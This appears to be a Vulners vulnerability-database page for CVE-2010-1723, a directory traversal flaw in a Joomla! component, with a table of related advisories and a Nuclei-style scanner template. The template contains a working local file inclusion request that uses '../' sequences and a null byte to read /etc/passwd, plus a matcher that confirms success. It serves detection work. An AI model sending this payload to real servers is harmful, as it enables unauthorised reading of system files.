Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | Apple iOS < 4.0 Multiple Vulnerabilities | 22 Jun 201000:00 | – | nessus |
| Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities | 4 Jan 201000:00 | – | nessus |
 | CVE-2010-1723 | 18 Apr 201000:00 | – | circl |
 | CVE-2010-1723 | 4 May 201015:00 | – | cve |
 | CVE-2010-1723 | 4 May 201015:00 | – | cvelist |
 | Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion | 18 Apr 201000:00 | – | exploitdb |
 | EUVD-2010-1743 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-1723 | 4 May 201016:00 | – | nvd |
 | Directory traversal | 4 May 201016:00 | – | prion |
 | CVE-2010-1723: Improper Limitation of a Pathname to a Restricted Directory | 4 May 201000:00 | – | rapid7 |
id: CVE-2010-1723
info:
name: Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the iNetLanka Contact Us Draw Root Map (com_drawroot) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
impact: |
Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.
remediation: |
Update to the latest version of the iNetLanka Contact Us Draw Root Map component or apply the patch provided by the vendor to fix the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/12289
- https://nvd.nist.gov/vuln/detail/CVE-2010-1723
- http://www.exploit-db.com/exploits/12289
- http://www.vupen.com/english/advisories/2010/0926
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2010-1723
cwe-id: CWE-22
epss-score: 0.08408
epss-percentile: 0.94738
cpe: cpe:2.3:a:joomlacomponent.inetlanka:com_drawroot:1.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: joomlacomponent.inetlanka
product: com_drawroot
tags: cve,cve2010,joomla,lfi,edb,joomlacomponent.inetlanka,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450221009c58d2ac9f511a0ce3ce9dc0f9a94e2bb06d2079fa5476d27a7d57528d1fd12b02203e1bdfabb80938cc1b08d8f824b56ddcfb0ced6fa9c6df3e7ba7e06d3e48cba8:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 26.8
EPSS0.08408